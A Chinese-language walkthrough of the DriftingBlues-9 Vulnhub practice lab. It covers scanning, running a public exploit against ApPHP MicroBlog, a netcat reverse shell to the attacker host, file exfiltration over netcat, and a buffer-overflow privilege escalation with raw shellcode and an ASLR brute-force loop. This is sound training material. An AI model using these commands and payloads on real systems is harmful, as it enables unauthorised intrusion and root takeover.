目录
3、使用nmap扫描靶机,看有什么服务是可利用的(端口扫描)
环境信息
靶机:DriftingBlues-9,IP地址:192.168.52.158
攻击机:Kali,IP地址:192.168.52.134
下载: https://download.vulnhub.com/driftingblues/driftingblues9.ova
渗透测试
一、 信息收集
1、打开kali,查看kali的IP地址和子网掩码
因为靶机和kali现在属于同一个网段,查看kali的IP和子网掩码是为了获得靶机的网段
靶机的网段是:192.168.52.0/24
2、使用netdiscover扫描主机
netdiscover -i eth0 -r 192.168.52.0/24
##netdiscover: -i 指定网卡 -r 指定网段
也可以使用nmap进行主机发现,
nmap -sP 192.168.52.0/24
在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址
或使用arp-scan -l命令拿到靶机的IP地址
arp-scan -l
获得靶机靶机ip:192.168.52.158
3、使用nmap扫描靶机,看有什么服务是可利用的(端口扫描)
root@kali:~# nmap -sV -A 192.168.52.158
-sV只扫描端口及其版本号
-A扫描端口的详细信息
目标靶机开放了80(HTTP服务)和111(自定义服务)
4、访问网页,查看基本信息
使用Firefox插件Wappalyzer,或者扫描网站目录,查看robots.txt等暴露出的信息,可以获取到网站相关信息
使用浏览器插件Wappalyzer,检测网站的CMS,框架,服务器等信息
没有检测到CMS信息
查看源码,发现一信息:ApPHP MicroBlog v.1.0.1
利用dirsearch进行网站目录扫描:
dirsearch -u 192.168.52.158 -e * -i 200
-i 状态码 只显示该状态码
-x 状态码 不显示该状态码
目录扫描得到一些目录,逐一查看,没有多余的可利用信息
二、 漏洞查找与利用
1、利用网站系统版本漏洞获取 webshell
kali本地搜索一下漏洞库:searchsploit ApPHP MicroBlog
该站版本为1.0.1,所以可以利用网站系统版本漏洞,将脚本复制到当前目录
searchsploit -m php/webapps/33070.py
查看一下脚本内容
运行程序:python2 33070.py http://192.168.52.158
成功拿到shell,并且展示出数据库配置文件:用户名:clapton,密码:yaraklitepe
2、反弹shell,切换用户,获得flag1
这种shell利用起来不太方便,所以可以查看目标主机是否存在nc,如果存在可以反弹一个新的shell
目标主机存在nc,首先kali进行监听
nc -lvvp 4444
然后目标主机执行反弹shell的命令:
nc -e /bin/bash 192.168.52.134 4444
反弹shell成功:
利用python获得交互式shell:
python -c "import pty;pty.spawn('/bin/bash')"
查看一下home目录,发现用户名与数据库用户名一致,但是22端口没有开放
尝试切换用户:clapton / yaraklitepe
成功切换后,在/home/clapton目录下拿到flag1
同时在当前目录发现note.txt,查看内容发现相关提示
提示内容为:缓冲区溢出
三、缓冲区溢出提权
1、把 input文件传输到本地kali中
查看当前目录下文件:
把 input文件传输到本地kali中:
方法一:靶机使用 python2 开启一个简易 http 服务
python2 -m SimpleHTTPServer
kali使用wget命令下载:wget http://192.168.52.158:8000/input
方法二:利用工具nc传输文件
NC:NETCAT是kali中自带的一款功能强大的工具,我们可以通过它来文件传输。
首先在本地开启监听,并将接收的内容保存为input:
nc -lvvp 9999 > input
然后在靶机中将目标文件传至kali:
nc -w 3 192.168.52.134 9999 < /home/clapton/input
-w 超时时间 ##如果连接或输入停顿时间超过超时时间就关闭连接。
超时时间就关闭连接。
传输完毕后在kali中可以找到该文件:
2、本地进行提权
为input 文件并赋权,然后检查一下input文件有没有防护措施:
chmod +x input
checksec --file=input
发现没有,先禁用 ASLR( Address Space Layout Randomization,地址空间布局随机化),然后在 gdb 中加载二进制文件:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
## 0:没有随机化。即关闭 ASLR。
## 1:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。
## 2:完全的随机化。在 1 的基础上,通过 brk() 分配的内存空间也将被随机化。
## tee:用于显示程序的输出并将其复制到一个文件中。
gdb -q input
然后用 metasploit 中的 pattern_create.rb 生成数量 1000 的字符串用来计算偏移量:
find / -name pattern_create.rb
cd /usr/share/metasploit-framework/tools/exploit/
./pattern_create.rb -l 1000
将生成的字符串用命令 r 在 gdb 中运行二进制文件:
在 0x41376641 处得到了错误,计算一下偏移量:
./pattern_offset.rb -q 0x41376641
计算出偏移量是 171,用 python 构造字符串:
r $(python -c 'print("A" * 171 + "B" * 4 + "\x90" * 64 )')
查看ESP寄存器的值:x/s $esp
用esp寄存器的 0xffffcfc0 替换 4 个 B,因为是小字节序,倒过来写,构造 payload:
r $(python -c 'print("A" * 171 + "\xc0\xcf\xff\xff" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')
注:大字节序和小字节序是数据存储规则。小字节序是高位数据存储在内存高位地址,低位数据存储在低位地址;大字节序是高位数据存储在内存低位地址,低位数据存储在高位地址。
本地运行成功。
3、靶机进行提权,获得root权限
靶机上运行,查看 ESP 寄存器的值:
gdb -q input
r $(python -c 'print("A" * 171 + "B" * 4 + "\x90" * 64 )')
x/s $esp
因为靶机启用了 ASLR,没有权限关闭,所以写个循环:
for i in {1..10000}; do (./input $(python -c 'print("A" * 171 + "\x80\x28\x96\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done
得到了 root 权限,查看 flag:
完成
参考文章
Vulnhub 靶场 DRIFTINGBLUES: 9 (FINAL):
https://www.cnblogs.com/sainet/p/15789449.html
靶机渗透练习08-driftingblues9: